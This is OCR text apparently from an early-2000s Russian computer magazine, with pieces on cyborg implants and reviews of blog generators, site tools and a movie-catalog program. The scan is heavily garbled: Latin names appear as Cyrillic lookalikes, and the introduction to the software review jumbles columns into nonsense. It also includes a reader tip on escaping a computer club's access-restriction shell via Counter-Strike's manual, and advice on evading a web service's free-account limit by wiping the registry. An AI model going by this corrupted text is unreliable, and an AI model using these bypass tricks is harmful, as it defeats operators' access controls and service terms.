профессор Университета Торонто. Вот уже 20 лет он 
подключен к компьютеру и никогда не снимает очков со 
встроенным дисплеем. Изображение с видеокамеры 
подвергается компьютерной обработке, в процессе ко- 
торой отсеивается бесполезная информация. Например, 
рекламные щиты подменяются "обоями". Компьютер 
Мэнна также распознает лица людей и раскрывает досье 
на тех персон, чей образ имеется в архиве. Имплантиро- 
ванные датчики и электроды непрерывно регистрируют 
показатели жизнедеятельности организма профессора. 



Ш 

і Ь'* 

^ к 

Первый киборг планеты в полном 
обмундировании 



Кибернетическую эстафету Мэнна подхватил в 1998 го- 
ду его английский коллега Кевин Уорвик (\ллллл/. кеѵіпѵѵаг- 
ѵѵіск.сот). Он на несколько дней имплантировал себе 
микропередатчик, сигналы которого "представляли" его 
системе контроля доступа, автоматически открывали 
перед профессором двери, зажигали свет и включали 
персональный компьютер. В марте 2002 в левое запяс- 
тье Уорвика был имплантирован новый микрочип пло- 
щадью 9 квадратных миллиметров, а в срединный нерв 
вживлена сотня электродов. Выводы контактов прошли 
под кожей к приемопередающему устройству в пред- 
плечье. Таким образом была организована передача 
нервных импульсов компьютеру для их последующего 
воспроизведения. По результатам экспериментов про- 
фессор составил карту электрических сигналов, кото- 
рые соответствуют движениям пальцев руки, а также 
эмоциям шока, радости и злости. Прошлым летом ана- 
логичный микрочип был вживлен в руку жены Уорвика. 
Каждый раз, когда супруга переживала сильные эмо- 
ции, нерв Дока получал электрический укол. К слову, 
стоимость одного только микрочипа составила 400 ты- 
сяч долларов. Профессор, известный также как Саріаіп 
СуЬогд, продолжает свои безумные подвиги. 




Микрочип стоимостью 400 тысяч долларов, 
имплантированный Уорвику в марте 2002 года. 
Площадь 9 миллиметров. В срединный нерв 
руки вживлено 1 0О электродов 



Что касается идентификационных чипов, показателен 
пример семьи Якобс - первых носителей ѴегіСЫр. Супру- 
гам и их 14-летнему сыну микрочипы были имплантиро- 
ваны под кожу в область предплечья. В базу данных ре- 
шили занести историю болезни, а именно - перенесен- 
ные заболевания и наличие аллергии на антибиотики. 
Канадская художница Нэнси Нисбет имплантировала се- 
бе сразу два идентификационных микрочипа - в левое и 
правое запястье. Одной рукой она пользуется исключи- 
тельно во время работы, другой - в играх и на отдыхе. В 
своей квартире девушка установила устройства позицио- 




нирования и развесила веб-камеры. Последние отслежи- 
вают ее перемещения по дому, в то время как встроен- 
ный в компьютерную мышь сенсор ведет дневник путе- 
шествий по интернету. В итоге, Нисбет надеется полу- 
чить два "цифровых автопортрета", чтобы подробнее ис- 
следовать связь между человеком и машиной. 



В предсказаниях, что будет дальше, можно положиться на 
фантастов и футурологов. Биомодули и порты в зияющих 
отверстиях на затылке кочуют из одного фильма в другой. 
Каждый день армия кибернетических организ- 
мов пополняется новыми членами. Кто следую- 
щий? Может быть, ты? 




Имплантаты в кино 



I "Человек, несущий смерть" (1974). В мозг человека I 
I имплантирован микрочип. Он заставляет плакать 
| или смеяться против собственной воли, когда кто-то | 

■ "наверху" нажимает кнопку на пульте. 

"Джонни Мнемоник" (1995). Курьеры-мнемоники пе- 

* ревозят информацию в собственном мозге. "Почта" 

I закачивается в черепушку через отверстие на затылке. I 

I "Драйв" (1997). Главному герою имплантирован би- I 

■ омодуль, который во много раз усиливает его физи- ■ 
щ ческие возможности: увеличивает скорость переме- . 

* щения, улучшает реакцию. 

| "13-й этаж" (1999). Идет эксперимент по созданию | 
| игровой реальности. Подключив мозг к компьютеру, | 

■ можно передать свое сознание аватару. 

* "Матрица" (1999). Отверстие на затылке позволяет 

I подсоединиться к центральному компьютеру и вой- I 
I ти в Матрицу. Благодаря имплантату, можно мгно- 
| венно загрузить в мозг информацию: от боевого ис- | 

■ кусства кунг-фу до навыков вождения вертолета. 

! "Экзистенция" (1999). При помощи специального 
I "биопорта", размещенного в спинном мозге, можно • 
I загрузить виртуальную игровую реальность прямо в I 
| нервную систему. 

■ "Крепость 2" (2000). В совершенной хайтек-тюрьме ■ 
! заключенным имплантируют микрочипы. Начальник _ 

* тюрьмы наблюдает за тем, что перед глазами у его ' 
I подопечных. 

I "Миссия невыполнима 2" (2000). Главный герой 

■ вживляет в ногу возлюбленной "Цифрового ангела". 

I Биометрический микрочип с СРЗ-приемником позво- . 

* ляет определить точное местонахождение девушки. 
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В силу обстоятельств я частенько играю в Соипіег Зігіке в 
компьютерных клубах - дома нет сетки, на работе, где я ад- 
мин, играть не с кем :(. Ну а в клубах злоадмины обычно ста- 
вят всякие программки-ограничители доступа к диску, типа, 
видно только несколько ярлычков от игр - и все, ну по край- 
ней мере в большинстве клубов в городе Рязани так и сде- 
лано. Никакого доступа к диску, панели управления, сетево- 
му окружению и т.д. А вдруг тебе приспичило свой конфиг 
закатать с дискетки или еще чего полезного? (всякие виру- 
сы запускать и просто вредить не советую, могут морду на- 
бить, причем не админы, а завсегдатаи клуба). Но выход 
есть. Запускаем Соипіег Зігіке и в главном меню нажимаем 
меню С5 МапиаІ. Запускается Ослик ІЕ с каким-то описани- 
ем, жмем на кнопочку (треугольничек вниз :)) после строки 
Асібгезз и видим и панель управления, и диски, и сеть! Пов- 
торю, тестировалось это в клубах города Рязани, попробуй- 
те в своем клубе, может, прокатит! Ну а если все это уже 
знают, сильно прошу не бить, и при встрече ника Ыг л ѵосІка 
одними хедшотами не валить :). 



Руднев Олег Викторович 
гоо(@патаіІ.огд 




Ньюсы Террум Іпгігіе 
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г «о о тп пппирсс этот нѵдный и однообразный. Запускаешь 
Если у тебя есть своя пага, то ее приходится обновлять х0 ™ “ р ^ ' там где и как . Забиваешь пару строк нового тек 

НТЛИ-редактор, к примеру ИоІеРасІ ;), долго но при ведении новостного раздела или оживленного про 

ста, сохраняешь, закрываешь и закачиваешь на . гем0 ррой с последствиями. Зачем насиловать свой организм, если 

екга приходится обновлять по нескольку раз в день а вать лишние телодвижения. Вся информация за- 



таК0Г0 П0ДХ0Да ° Ч п евидны: база данных > шаблоны и прога находятся на твоей тачке, на ней же выполняется добавление\редакіи- 
рование записей, содержимое ВД автоматически преобразуются в НТМЬкод, который закачивается на РТР этой же(!) прогой. Также налицо из- 
рядная экономия: большая часть операций производится в режиме офлайн, а хостинг для сайта, обновляемого таким образом, требуется самый 
^пр имитивным (без поддерж ки А5Р, ССІ, РЕВІ. и баз данных), так как в конечном НТМЬкоде нет никаких скриптов и привязок к базам данных 



Одни программы, упомянутые в этом обзоре, работают только с новостным разделом, другие способны управлять всем 
контентом твоей паги - этакие механизированные комбайны для генерации веб-сайтов. Выбирай, что нужно. Да, чуть не 
забыл! Пригодится это хозяйство и начинающим веб-дизайнерам, которые запрягаются за бабки поддерживать и обнов- 
лять чужие сайты. Наконец-то они смогут получать больше, работая меньше. Впрочем, это уже личное... 



Ньюсы Ц'Т'нррум Н іпіісій 



Взлом 







Блог - это сокращение от веблога (ѵѵеЫод), термина, означающего онлайновый дневник. Владелец постит 
в такой дневник свои мысли, события, заметки, ссылки на другие интересные ресурсы и т.д. Все это бо- 
гатство выстроено в хронологическом порядке, что облегчает чтение и поиск. Далее он зазывает своих 
друзей, они комментируют его записи, завязывается натуральный флейм, дневник растет и дышит. 
Большой бум вызвало появление бесплатных проектов, которые позволяют создавать по готовому шаблону 
собственный блог и выделяют место на сервере для размещения (а-ля пагоб.ги, но для блогов). Самый на- 
шумевший - ѵѵѵѵѵѵ.ііѵеіоигпаі.сот. Но, увы - халява не вечна. С ростом популярности проекта вводится деле- 
ние на платных и бесплатных пользователей, со временем последним урезают возможности, и в результа- 
те любители бесплатного постепенно лишаются всех прелестей задумки. Проект І_іѵе^игпаІ уже на пути к 
этому: скоро бесплатные пользователи смогут писать в свой дневник лишь три раза в день. Судьба аль- 
тернативных проектов тоже не безоблачна - они могут закрыться в любой момент. При этом ты потеря- 
ешь все свои записи, с таким трудом накопленные. Избежать всех этих ужасов можно только путем со- 
здания блога, у которого лишь один хозяин - ты сам. И любая из прог, описанных в этой статье, позволит 
тебе это сделать без особых напрягов. 



| ВІодѵ7І0 



ѴѴіп 9х/Ме/ЫТ/2к 
Ргееѵѵаге, 2 Мб 



МНр : //зсоре . погіід . сот 




Наше знакомство с блогостроителями мы, пожалуй, 
начнем с программки, которая так и называется - 
ВІод. А почему бы и нет, собственно? В обращении 
данный софт неприхотлив, имеется подробный Иеір 
на английском. Достаточно один раз все наладить - и 
пользуйся до старости. 

Основные настройки программы сосредоточены в ме- 
нюшке ТооІз-^оигпаІ Мападетепі Количество создава- 
емых журналов (для каждого свои настройки), использу- 
емых РТР и заготовок шаблонов не ограничено. Изна- 
чально имеется пять шаблонов, можешь их модифици- 
ровать, не заморачиваясь созданием своих с нуля. Учти, 
что в шаблонах помимо обычных тэгов используются 
внутренние (они описаны в помощи), к примеру, тэги 
<$ВІодОаіе> и <$ВІодТіте> выводят дату и время лю- 
бой записи в дневнике. С настройками разобрались, те- 
перь приступаем к наполнению дневника. Интерфейс 
интуитивно понятный, проблем возникнуть не должно. 
Выбираешь день по календарику и добавляешь новую 
запись ^оигпаі -> №ѵѵ Епігу), время берется текущее 
(можешь редактировать). Забиваешь заголовок и текст. 

В текст разрешается добавлять картинки, ссылки и тэги 
(стандартные и внутренние). Готовую запись можно про- 
тестировать во встроенном браузере. При вводе текста 
автоматически проверяется орфография, но для провер- 
ки русского бреда нужно подцепить соответствующий 
словарик. Записи можно разносить по категориям (по 
темам), список которых редактируется. Чтобы твой 
дневник не захламлялся, старые записи переносятся в 
архивы (еженедельные или ежемесячные). 

С помощью Тооіз -> РиЫізИ Епігіез все изменения зака- 
чиваются на твой сайт. Архивы заливаются отдельно: 
Тооіз -> РиЫізГі АгсЫѵез. Манипуляции с РТР отобража- 
ются в нижней области окна, позволяя наблюдать за 
процессом и при необходимости его корректировать. 
Когда дневник разрастается, и места на хостинге не хва- 
тает, отсекаешь хвост: Тооіз -> Ригде Епігіез. И делай 
периодически бэкап дневника (Тооіз -> Васкир), тогда 
не страшны никакие морозы :). 



Вердикт: Идеальный вариант для создания и ведения 
онлайновых журналов любой сложности. Визуальный ин- 
струментарий для форматирования содержимого днев- 
ника достаточно скромный. Зато, создавая собственные 
шаблоны для генерируемых НТМЬфайлов, можешь как 
угодно изменять и усложнять свое онлайновое творение. 



| РІапагсІіу ѵ 0.96 ВиіІсІ 0290 



ѴѴіп 9х/Ме/МТ/2к/ХР 

Ргееѵѵаге, 1 ,3 Мб (инсталлятор) + "3,1 Мб (ѴВ 
Кипіітез Раск) 



| Шр://ѵѵѵѵѵѵ.1пк-ЬооШІоск.со.ик 







Бесплатный (в случае личного пользования) продвину- 
тый блогмейкер. Напрягает, что кроме проги придется 
утягивать три метра ѴВ Випіітез Раск. Но после всех 
мучений тебя ждет настраиваемый красивый дизайн, 
удобный интерфейс и куча полезных настроек. Кстати, 
если планируешь часто менять настройки, лучше сразу 
заведи несколько профилей (ргоТМе). При загрузке дает- 
ся выбор, какой из имеющихся профилей использовать. 
Многие навороты схожи с теми, что имеются в ВІод ѵ 
7.0: такой же интерфейс с календариком, также добавля- 
ются записи в дневник, есть аналогичное деление по ка- 
тегориям. Часто используемые операции форматирова- 
ния и внутренние тэги (с описанием) для удобства заве- 
дены в меню. Порадовал встроенный генератор шестнад- 
цатеричного значения (#ВВССВВ) по любому цвету из па- 
литры, раньше я подгружал отдельную прогу. Для лени- 
вых в комплекте прилагается набор готовых шаблонов и 
удобный редактор для их модифицирования. Прога под- 
качала в одном - она не умеет создавать архивы. Это кри- 
тично, когда дневник разрастается. Остальное - тип-топ. 

Вердикт: Альтернатива ВІод ѵ 7.0, но без встроенной 
возможности создания архивов, что отчасти компен- 
сируется более продвинутым редактором записей. 
Больше всего РІапагсІпу подходит для ведения неболь- 
ших новостных разделов. 




Юниксоид Х-Стиль Кодинг 



■ ■ 




В номере: 

Пиратский рынок видеоигр: 
мифы и реальность 

Читайте всю правду о нынешнем состоянии 
пиратского рынка видеоигр в России. Впер- 
вые мы подробно расскажем о чипах, руси- 
фикациях, овощных магазинах и почтовых 
рассылках, поговорим о вопросах легаль- 
ности и перспективах развития ситуации - 
честно и без обиняков. 

ОеѵіІ Мау Сгу 2 

Нельзя назвать ОеѵіІ Мау Сгу 2 провальным 
проектом. Однако многие сходятся в том, что 
один из самых ожидаемых сиквелов года 
оказался разочарованием. Что именно пошло 
у Сарсот не так? 

Периметр 

Самая невероятная РТ5 нового поколения и 
самое откровенное интервью с ее создателем. 

Епіег ІЬе Маігіх 

Дейв Перри не упустил шанс создать игру на 
основе фильмов братьев Вачовски. Встре- 
чайте будущий суперхит Епіег йіе Маігіх! 

Каутап 3: НоосЛит Наѵос 

Самый продвинутый ЗО-платформер на РС (и 
один из лучших образцов жанра для 
приставок) получает заслуженные 8,5 балла 

Князь 2 

Виктор Перестукин обошел весь мир первого 
«Князя». Кому как не ему доверить обзор 
сиквела легендарной российской игры?! 
Читайте и трепещите! 

Игры: 

ОеѵіІ Мау Сгу 2 • Периметр • Епіег іііе 
Маігіх РіпаІ Рапіазу Огідіпз • Ргееіапсег • 
Князь 2 Раутап 3: НоосІІит Наѵос • ВМХ 
XXX • Х-Меп: ІМехі Оітепзіоп • Тот СІапсу'з 
Зрііпіег СеІІ 



СТРАНА 
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| Е5СА (Еазу Зііе Сопіеггі Арріісайоп) ѵ 2.3 1 



ѴѴіп 9х/Ме/МТ/2к/ХР 
ЗІіагеѵѵаге, 1 ,3 Мб 



| НКр://е5са.та5Іак.ги 




Прога к онлайновым дневникам никакого отношения не 
имеет, зато позволяет контролировать контент всего 
сайта. Сайт выполняется в виде отдельного проекта, все 
данные хранятся в базе в ХМЬформате. Чтобы не заблу- 
диться, пага отображается в виде удобной древовидной 
структуры. Форма для ввода содержимого какого-нибудь 
раздела полностью определяется шаблоном, на основе 
которого генерируется НТМЬстраничка. В шаблоне про- 
писываются специальные внутренние тэги, определяю- 
щие изменяемые элементы (заголовки, текст, картинки 
и т.п.), их немного, но достаточно. После определения 
изменяемых элементов модифицируются и поля формы, 
через которую эти данные легко меняются. Поля можно 
редактировать, копировать, добавлять, удалять или ме- 
нять местами. 

Чтобы далеко не бегать, в программу встроен внутрен- 
ний браузер, в котором легко отслеживать вносимые в 
шаблон изменения. Готовый вариант генерируется ло- 
кально, потом заливается на РТР. Чтобы напрасно не 
тратить время и трафик, закачивай измененные файлы, 
а не все подряд, прога умеет их различать. 

Вердикт: Если твой дневник - составная часть паги, и 
тебе необходимо регулярно обновлять информацию по 
остальным разделам сайта, тебя устроит этот вариант. В 
арсенале, к сожалению, нет инструментов визуального 
форматирования содержимого полей, все делается руч- 
ками. Но для нас, привыкших писать НТМЬкод в 
МоІеРасІ, это не проблема :). 

| КЗМеѵѵз ѵ 3.50 идМ ВиіШ 4558 ~| 



ѴѴіп 9х/Ме/МТ/2к 
ЗИагеѵѵаге, 2,1 Мб 



| МНр://ѵѵѵѵѵѵ.кіг50Й.сот.ги 

Душа радуется, и патриотизм бьет по ушам :), когда ви- 
дишь, что это дело рук наших программистов (хотя ша- 
роварность этой штучки чуть-чуть портит впечатление). 

С помощью КЗМеѵѵз можно обновлять новости, публико- 
вать на сайте статьи, создавать каталоги продукции или 
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фотоальбомы. Любая новость или статья представляют- 
ся в виде отдельного элемента, состоящего из заголов- 
ка, краткого содержания, текста и изображений. Мо- 
жешь забивать ручками, либо подгрузить готовые НТМІ_- 
файлы, если есть. Для простоты обработки записи днев- 
ника группируются. Удобно то, что у каждой записи есть 
свой статус: новая, на сервере, на сервере и изменена, 
удалена с сервера. При публикации обновляются только 
те записи, которые помечены на добавление или удале- 
ние (плюсом или минусом). Ход публикации и закачки 
документов отображается в специальном окошке, позво- 
ляющем держать этот процесс под контролем. 

Для генерации НТМЬкода используются шаблоны, кото- 
рые можно отредактировать под себя. Но разработчики 
почему-то не предусмотрели внутренний редактор шаб- 
лонов (встроенного браузера тоже нет). Однако, может 
быть, это и правильно - у юзера наверняка есть и своя 
любимая бродилка, и свой любимый НТМЬредактор, так 
зачем огород городить? 

С помощью шаблонов специфический дизайн делается 
для любого раздела. Вкусность в том, что любая страни- 
ца, генерируемая КЗМеѵѵз, может содержать любое ко- 
личество автономных групп новостей, обновляемых не- 
зависимо друг от друга, то есть можно создавать не- 
сколько не связанных между собой информационных ко- 
лонок в одном разделе! 

Вердикт: Программа идеально подходит для поддерж- 
ки и обновления сложных проектов. Проблема при ис- 
пользовании КЗМеѵѵз заключается в создании необходи- 
мых шаблонов, дальше все идет как по маслу, поскольку 
процесс добавления и обновления информации макси- 
мально упрощен и автоматизирован. 

| НТМІ- №«5 Цргіаіег ѵ 2.56 ] 



ѴѴіп 9х/Ме/МТ/2к/ХР 

Ргееѵѵаге, 2,5 Мб (инсталлятор ѵ2.0) + -0,9 Мб 
(апдейт до ѵ2.56) 



| Шр://ѵѵѵѵѵѵ.г5оШѵаге.пе1 | 

Еще одна очень удачная отечественная разработка, на 
этот раз - совершенно бесплатная. НТМІ Меѵѵз ІІрсІаІег 
предназначен для ведения одного или нескольких ново- 
стных разделов. Удобный интерфейс дополняет исчер- 
пывающая документация (идет в комплекте). Как и у 
аналогичных программ, генерация НТМЬкода завязана 
на шаблонах, которые нетрудно отредактировать так, как 



тебе надо. Каждый раздел может иметь свой собствен- 
ный шаблон. Новости форматируются визуально с помо- 
щью удобного редактора, опции которого очень схожи с 
ѴѴогсГом. НТМЬкод генерируется в одной из четырех ко- 




дировок: ѵѵіп, коі, сіоз или ізо. Кроме этого есть возмож- 
ность создавать архивы внутри дневника (минимум за 
месяц) и навигационный календарик, который упростит 
доступ к ежедневным новостям. 

Деление по рубрикам позволяет структурировать боль- 
шие новостные разделы, а рассылка - информировать 
читателей о новых изменениях. После окончательного 
формирования страниц программа может автоматически 
переслать их на сервер по РТР (необходимо настроить). 
При желании имеющиеся базы можешь экспортировать 
в формате С5Ѵ, ЕхсеІ, РТР, НТМІ или обычным текстом, 
чтобы обработать в соответствующих редакторах. 



Вердикт: Достойный конкурент ВІод ѵ 7.0 по своим 
возможностям и простоте в использовании. Благодаря 
детальному описанию на русском языке, ты разберешь- 
ся во всех тонкостях за считанные минуты. Одна беда - 
программа ВІод продолжает активно развиваться, а вот 
разработка НТМІ_ Меѵѵз ІІрбаіег уже прекратилась. 



| Р5СМ (Пеіеазе Сапсіісіаі) 



ѴѴіп 9х/Ме/ту2к/ХР 
ЗНагеѵѵаге, 3 Мб 



| Шр://ѵѵѵѵц/.г50Йѵѵаге.пе1 
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Настоящий шедевр от автора НТМІ_ №ѵѵ5 Іірбаіег, позволя- 
ющий манипулировать содержимым целого сайта. Инфор- 
мация хранится в БД АССЕ55 (тсІЬ-файлы). Вместо рубрик 
используются разделы, которые соответствуют разделам 
на твоей паге (для каждого куча настроек), а вместо ново- 
стей - статьи. В качестве статьи может быть что угодно, в 
том числе и новость. Впечатлил новый визуальный редак- 
тор статей, который стал мощнее и теперь включает в себя 
несколько вкладок: настройки, аннотация, полный текст, 
твои комментарии и смотрелка получившегося. Для удоб- 
ства регистрации в поисковиках отдельно задается содер- 
жимое мета-тэгов КЕѴѴѴОРЮ5 и 0Е5СВІРТІ0М. А НТМІ_ ге- 
нерится в четырех кодировках одновременно, что приго- 
дится тем, кто ведет сайт в нескольких кодировках. 
Полезный прибамбас (аналог "Глобальных параметров" 
программы КЗМеѵѵз РВО) - собственные тэги, которые 
ты прописываешь один раз и определяешь, что они бу- 
дут добавлять в готовый НТМЬфайл. К примеру, созда- 
ешь тэг <Ьаппег1 > и определяешь для него код банне- 
ра ПІ_Е. Аналогично можно поступать со счетчиками, по- 
вторяющимися участками кода, обычным текстом, да с 
чем угодно! 

С помощью модулей импортирования ты сможешь утяги- 
вать данные с других сайтов и новостных серверов (если 
они разрешат, конечно). Работать можно с одной базой с 
разных тачек, один - администратор, остальные - клиен- 
ты с ограниченными возможностями, которые определя- 
ет администратор. А планировщик заданий поможет на- 
строить программу на автономную работу и регулярно 
выполнять необходимые действия. Радует набор встро- 
енных модулей: РТР, рассылка, почтовый сервер, архивы, 
прокси, резервное копирование и многое другое. 



Вердикт: Р5СМ - полноценный "движок" для веб-сайта, 
единственная прога, способная потягаться с КЗМеѵѵз (РВО- 
версии) по количеству наворотов. Но для обычного блога 
или простой домашней паги ее возможности, имхо, избы- 
точны. Тем более что Р5СМ, к сожалению, распространяет- 
ся не бесплатно - за нее просят 600 обыкновен- * 
ных рублей на поддержание штанов автору. о % 



Интересные блоги: 




М1р://пппл.ш 


Іп11р://гісп . ги/Ыод 




М1р://ап1гах.ш 


ИИр : //И ігопе . і пТо 




М1р://с1іг1у.ги 


М1р://сЬескег.ги 




М1р://5рес1а1ог.ш 


ИНр://пад.ги 




МІр://]оѵап.ги 


МІр://Ьідегок.кіеѵ.иа 




М1р://е2Ье.ш 


ИНр://підІіІ5Ігапдег.ги 




МІр://сооІег.іІ 


М1р://кас1е1.пе1.ги 




МІр://гіі5С.ги 
ИИр ://рзу Ьегіа . ги 


ІпІІр://50ІІЫод.ги 
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Где замутить свой дневник: 



ІШр://ІіѵфигпаІ.сот 
ІШр://Ыод.ш 
ІШр://іоигпаІ5.ги 
ІпІІр://адеоІѵѵеЬ. ги/Ыодз 

к————— —Л 




ѴѴеЬ 8ііе Маезіго ѵ 2.3 



ѴѴіп 9х/Ме/МТ/2к/ХР 

ЗИагеѵѵаге, 1 ,5 Мб (инсталлятор) + -1 ,7 Мб 
(утягивает из инета при установке) 
№р://ѵѵѵѵѵѵ.іопЬгапсІ . пі 




Ты, наверное, часто видел, что НТМЬкод некоторых 
паг оптимизирован, то есть, убраны все лишние 
пробелы и лайнбрейки, все идет сплошняком и без 
комментариев. Это делается для того, чтобы, во- 
первых, уменьшить размер файлов, тем самым ус- 
корив их закачку на фтп и скорость отображения 
паги, и, во-вторых, хотя бы минимально защитить 
код от ламеров-плагиаторов. Само собой, выполня- 
ется подобная оптимизация не вручную, а с помо- 
щью специального софта. Например, я для этих це- 
лей использую программу ѴѴеЬ 5іІе Маезіго. 
Работать с ней чрезвычайно просто: ты определя- 
ешь директорию (локальную) паги, директорию (ло- 
кальную) для оптимизированного варианта и фтп, 
куда требуется закачать твой сайт после обработки. 
В настройках перед оптимизацией определяешь, 
файлы с какими расширениями оптимизировать, а 
с какими - оставлять без изменения. Далее синхро- 
низируешь директории и запускаешь процесс: оп- 
тимизация по всей паге, по одной директории или 
по одному файлу. Включи опцию 5тагІ НапсІІіпд, и 
будут обрабатываться только измененные файлы, а 
для работы с отдельными файлами открой Рііе Эгор 
ѴѴіпсІоѵѵ - специальное окошко, в которое мышкой 
можно накидывать необходимые файлы. 

ѴѴеЬ Зііе Маезіго умеет просматривать НТМЬкод на 
предмет незакрытых и криво написанных тэгов, 
корректировать это и автоматически заполнять для 
всех тэгов <ітд> опции ЬеідЫ и ѵѵісІІІг Ну, не мечта 
ли? Раньше приходилось смотреть эти опции в гра- 
фическом редакторе и заносить вручную. 

Вердикт: Я без этой проги как без рук! Пишешь 
для себя в исходниках любые комментарии, 
формируешь любую древовидную структуру вло- 
женных тэгов (для удобства чтения кода) и... за- 
бываешь об опасении пропустить или переврать 
тэги, поскольку при оптимизации все ошибки бу- 
дут корректно устранены! Кроме того, наличие в 
программе встроенного РТР-аплоудера позволя- 
ет забыть про всякие там СиІеРТР ;). 



РІех ѴѴігагсІ ѵ 1 .2 



ѴѴіп 9х/Ме/МТ/2к/ХР 
Ргееѵѵаге, 0,6 Мб 
ИНр://и/ѵѵѵѵ .Яехѵѵіпсіоѵѵ.сот 




Чего только не придумают! Вот, например, ориги- 
нальный способ обновления информации (ново- 
сти, контент, прайсы и т.п.) - через мыло %). Не 
веришь? Пошли письмо с любым текстом на 
ирбаІе@ІІехѵѵіпбоѵѵ.сопгі, поставив в заголовке 
письма "Ьето,сІеітю5,сІето5", результат смотри на 
Ьйр://ѵѵѵѵѵѵ.ІІехѵѵіпбоѵѵ.сот/бето5.ЬІтІ уже через 
несколько секунд. Если хочешь такую же фишку, 
ставь эту прогу, она представляет собой удобный 
интерфейс для дистанционной регистрации. Реги- 
стрируй через эту бодягу аккаунт и издевайся над 
ним в меру собственной фантазии. К сожалению, 
бесплатно дают завести только две области изме- 
няемой информации, больше - за бабки. 

После регистрации тебе дается код вставки типа 
<зсгірІ5гс="ЫІр://сопІепІ.ІІехѵѵіпсІоѵѵ.сот/какая- 
то_бу ква/какая -то_бу ква/и мяаккаун - 
та/ѵѵіпсіоѵѵі /ѵѵіпсіоѵѵі .)з"></зспрІ> (ставишь в лю- 
бом месте паги, но между <ВСЮѴ> и </ВСЮѴ>) 
и заголовок типа "имя аккаунта, номер облас- 
ти, пароль", который ставишь в письме, отсылае- 
мом на ирбаІе@ІІехѵѵіпбоѵѵ.сот. Эти причиндалы 
тебе продублируют на указанное при регистра- 
ции мыло. Кроме этого, доступно администриро- 
вание своих созданных областей и через веб - 
Іпйр://ѵѵѵѵѵѵ.ІІехѵѵіпбоѵѵ.сот/Ьіп/асІтіпассоипІ5.ехе. 
Кто ломанет сервис на предмет неограниченного 
количества таких областей - пишите :). 

Вердикт: Если нужно что-то обновлять на паге, 
но нет возможности прямой закачки на фтп (ли- 
бо забыл или не хочешь светить пароли), смело 
используй эту фишку. Необходимы как мини- 
мум: мыльник, аккаунт на Нехѵѵіпсіоѵѵ и ссылка 
на скрипт внутри паги. Обойти ограничение с 
количеством областей элементарно - регистри- 
руй несколько аккаунтов с разных тачек (либо 
вычищай реестр, так как повторная регистрация 
блокируется) и мыльников :) 



Юниксоид Х-Стиль Кодинг 



Юниты 



Оиі*> 
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Ш Ф 



Если ты любишь смотреть кино на компьютере, если у тебя полка уже забита "компашками" с фильщщ \ь жестком диске своей 
очереди для записи на "болванку" ожидают еще пяток, если ты уже не помнишь, какие из дисков , ШВі и, напротив, сколько 
твоих "гуляет" по чужим рукам, то Апі Моѵіе Саіаіод - программа, о которой поедет речь в этой с осто необходима. 

КАК УПОРЯДОЧИТЬ ХАОС В СВОЕЙ ВИДЕОТЕКЕ 



Раз установив ее на свой компьютер, ты уже не за- 
хочешь с ней расставаться. Апі Моѵіе Саіаіод (2728 
кб, ѵѵод/ѵ.апІ.Ье.Н) наконец-то приведет твою кол- 
лекцию фильмов в порядок! Причем сделает это 
настолько хорошо, что даже сам процесс упорядо- 
чивания доставит тебе настоящее удовольствие. 



<Что это такое> 

Если ты еще этого не понял, то говорю прямо: Апі Моѵіе 
Саіаіод - это база данных для хранения информации о 
фильмах. Э...э... Зря ты сразу так скептически усмехнул- 
ся. Апі Моѵіе Саіаіод - это не просто очередная база дан- 
ных, написанная каким-нибудь студентом. Апі Моѵіе 
Саіаіод - это База с большой буквы. Всем базам - база. 
Ты спрашиваешь: чем же она так отличилась, что она 
умеет? Гораздо проще перечислить то, чего она не умеет. 
Она не умеет выгуливать собаку и печь пирожки. Это 
факт. Но что касается ведения фильмотеки, тут альтерна- 
тиву ей придется еще поискать. Вот, например... Нет, не 
буду забегать вперед. Читай внимательно и все узнаешь. 




<Ручная работа> 

Я уже сказал, что Апі Моѵіе Саіаіод - это база данных, а раз 
так, то вполне логично, что в нее эти самые данные необхо- 
димо заносить. Сделать это можно двумя способами. 
Первый способ самый неоригинальный и самый скучный. 
Его суть заключается в том, что информация вводится 



вручную. Каждый фильм в программе описывается двад- 
цатью четырьмя полями, среди которых есть привычные 
поля типа "название фильма", "фамилии актеров", "дли- 
тельность" или "жанр". Но есть и более экстравагантные 
вещи. Например, если в поле "должник" ввести фамилию 
того нехорошего человека, который не отдает тебе диск 
вот уже третий год, то прога постоянно будет тебе напо- 
минать об этом. Кроме текстовой информации, Апі Моѵіе 
СаУод хранит и скриншоты фильмов, которые в основном 
окне отображаются в уменьшенном виде, но одним кли- 
ком мыши разворачиваются на весь экран. 




Разумеется, заполнять все двадцать четыре поля подроб- 
ными сведениями - дело довольно монотонное. Ну, скажи, 
у тебя хватит терпения набирать столько текста? Как ска- 
зал бы небезызвестный Остап Сулейман Берта Мария Бен- 
дер-бей: "Скучно, девушки". К счастью, разработчики про- 
граммы пошли тебе навстречу и обучили ее собирать часть 
информации о фильме автоматически. Как это работает? 
Очень просто. Если Апі Моѵіе Саіаіод "натравить" на любой 
видео-файл, то такую техническую информацию, как раз- 
решение фильма, формат видео- и аудио-потоков, количе- 
ство кадров в секунду, программа определит и подставит в 
соответствующие поля самостоятельно. 



<Все дороги ведут в интернет> 

Но это все мелочи по сравнению с чудесной способнос- 
тью АпІ Моѵіе Саіаіод добывать информацию о фильме в 



интернете. Как известно в Сети существует большое коли- 
чество сайтов, которые содержат сведения о тысячах са- 
мых разнообразных фильмах. В Апі Моѵіе Саіаіод заложен 
список из тридцати подобных адресов, среди которых 
имеется и русскоязычный сервер - ш/ѵѵ.ѵібеодиісіе.ги. 




В интернете есть все, надо только поискать... 



После того, как ты укажешь программе, с каким серве- 
ром ей нужно работать (а делается это нажатием одной 
кнопки), тебе останется только ввести название интере- 
сующего фильма. После чего Апі Моѵіе Саіаіод запустит 
специальный скрипт, который, соединившись с серве- 
ром, выкачает из него необходимую тебе информацию: 
оригинальное название фильма, фамилии режиссера, 
продюсера и задействованных актеров, дату выпуска 
фильма, название студии, краткую аннотацию и т.д. 

Если на сайте есть иллюстрации к фильму, то они также 
будут "закачены" в Апі Моѵіе Саіаіод. Конечно, все зави- 
сит от выбранного скрипта. Из одного и того же сайта 
разные скрипты могут "вытянуть" разное количество ин- 
фы. Поэтому если ты не чужд программированию и вла- 
деешь РазсаГем, то можешь попробовать написать свой 
собственный скрипт или отредактировать уже имеющий- 
ся. Для этого АпІ Моѵіе Саіаіод предоставляет в твое 
распоряжение специальный встроенный редактор. 




Ньюсы Террум Іпгігіе 
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Взлом 
















Помимо того, что Апі Моѵіе Саіаіод позволяет тебе опи- 
сывать имеющиеся у тебя фильмы, она также четко при- 
